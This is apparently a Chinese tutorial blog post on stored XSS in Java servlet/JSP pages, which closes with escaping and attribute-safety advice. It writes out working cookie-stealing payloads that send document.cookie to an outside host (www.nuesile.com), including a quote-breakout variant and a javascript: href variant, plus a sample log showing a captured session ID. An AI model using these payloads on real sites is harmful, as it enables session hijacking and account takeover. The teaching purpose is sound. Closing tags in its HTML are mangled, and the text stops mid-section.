不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑
假设某个恶意用户在注册时输入的用户名中包含攻击代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}td>
<td>${user.name}td>
tr>
c:forEach>
table>
head>
<body>
body>
html>
public class UserController extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//这里模拟从数据库中查询出来的用户
List users = new ArrayList();
users.add(new User(1 , "赖宝"));
users.add(new User(2 , ""));
req.setAttribute("users" , users);
req.getRequestDispatcher("/users.jsp").forward(req,resp);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req , resp);
}
}
当用户访问这个control后进入到用户列表页面,就会看到下面这样的效果了。
<html>
<head>
<table>
<tr>
<td>1td>
<td>赖宝td>
tr>
<tr>
<td>2td>
<td><script>alert('你被攻击了!');script>td>
tr>
table>
head>
<body>
body>
html>
从html源代码中可以看出有脚本被插入到了页面并且被执行了。
上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员
当然,上面这样的攻击对被攻击者也造成不了多大的威胁,只是一个弹出而已,如果将攻击代码改成下面这样,你估计就不会这么觉得了。
//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href script>"));
当管理员再进入用户列表页面时就会发生悲剧了,首先看一下html源码变成啥样了
<html>
<head>
<table>
<tr>
<td>1td>
<td>赖宝td>
tr>
<tr>
<td>2td>
<td><script>alert('你被攻击了!');script>td>
tr>
<tr>
<td>3td>
<td><script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href script>td>
tr>
table>
head>
<body>
body>
html>
上面的脚本执行了页面跳转,跳转到了一个攻击者的钓鱼网站,并且将当前用户的cookie,当前url等信息都当作参数传过去了。这个问题就大啦,熟悉http的都知道,有了cookie就相当拿到了当前用户的登录信息,攻击者就可以拿这些信息以管理员的身份访问用户列表了。
管理员的访问用户了列表页面后,浏览器变成了这样。(注意看浏览器地址栏,跳转到了钓鱼网站,并且将cookie和url传递过去了)
此时攻击者应该守在电脑屏幕等着网站管理员被攻击,此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url
115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面,如果用户列表中包含用户的很多隐私信息,比如电话,身份证号码,密码(一般不会啦)那么就真的悲剧了,此时攻击者能干什么事,就取决于被攻击用户拥有什么权限了,如果是一个很高级别管理员被攻击,将会有更悲剧的事情发生,各位可以自行脑补
除了直接输出到html标签内的代码可能被攻击,如果攻击代码出现在html标签的属性中也有可能被攻击
比如页面改成下面这样:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}td>
<td userName="${user.name}">用户信息td>
tr>
c:forEach>
table>
head>
<body>
body>
html>
当管理员访问页面时,浏览器查看html源码如下:
<html>
<head>
<table>
<tr>
<td>1td>
<td userName="赖宝">用户信息td>
tr>
<tr>
<td>2td>
<td userName="">用户信息td>
tr>
<tr>
<td>3td>
<td userName="">用户信息td>
tr>
table>
head>
<body>
body>
html>
看到的页面如下:
页面显示正常,因为脚本信息被两个引号给包住了,脚本被当作一个普通字符串属性处理了,所以没有执行。
接下来把攻击脚本稍微修改
//脚本前面加了 ">
users.add(new User(3 , "\"> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href script>"));
然后再看看此时html源码
<html>
<head>
<table>
<tr>
<td>1td>
<td userName="赖宝">用户信息td>
tr>
<tr>
<td>2td>
<td userName="">用户信息td>
tr>
<tr>
<td>3td>
<td userName=""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href script>">用户信息td>
tr>
table>
head>
<body>
body>
html>
因为html如果找到一个>符号,就会关闭上一个标签开始下一个标签,所以攻击脚本中估计制造一个”>符号将td标签关闭,接下来的
脚本就能正常执行了。
上面的例子只是xss攻击方式里面比较常见的几种,但是足以说明xss攻击的原理与严重性,xss攻击方式是各种各样的,需要开发者在平时的开发中多注意,只要页面上需要展示不确定(用户输入的)的内容,都需要仔细对待
也就是将所有的[<,>,”,,&]等符号都用[<,>,",&]字符进行替换,这些html标签符号被替换后,浏览器就会拿它当作一个普通字符串对待,而不是当作一个标签的开始/结束标志对待。
比如下面的攻击代码在输出前进行转移
String content = "";
content= StringEscapeUtils.escapeHtml4(content);
//被转后后成为了<script>alert('ok');</script>字符串,然后再输出到浏览器
浏览器就不会将转译后的字符串当中脚本执行,而是直接输出一个字符串。 浏览器显示如下:
这样就已经能防御大部分xss攻击了
标签的href属性中不要包含不确定(用户输入)的内容上面的转译能够解决直接输出在html中的内容,原理是将脚本标签中的<>等符号转译替换掉,但是还有一些情况下执行脚本,是不一定要依赖标签的,也就是脚本不需要用包住,那么转译对这种脚本就不起作用了,比如a标签中的href属性,除了直接指定一个url进行跳转,还可以通过javascript:xxx();的方式执行js代码。
比如注册用户信息是还要求用户输入一个博客地址(一个url),用户管理后台的列表中再加一列,让管理员直接点这个链接去访问用户的博客。
<td><a href="${user.blog}">博客地址a>td>
攻击者在注册用户时,博客地址如果输入下面这样的脚本:
javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href
那么当管理员点击这个链接的时候,跟之前一样的悲剧就又发生了,管理员的登录信息又被攻击者盗取了。
所以千万不要直接将用户输入的信息输出到href属性中,即使一定要输出,也应该将内容中的javascript/document/cookie/…等js关键字替换掉 , 最好的方式就是直接将这个信息转译后输出到页面,让管理员复制链接然后再去打开博客
同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。
script
脚本中不要使用不确定的内容下面假设一个场景:
比如某个直播网站,主播可以设置昵称,用户可以进入该房间观看直播。并且js要用到该主播的昵称,比如要用js将主播昵称放到屏幕中间做一个滚动的效果。
某个开发人员像下面这样写代码 :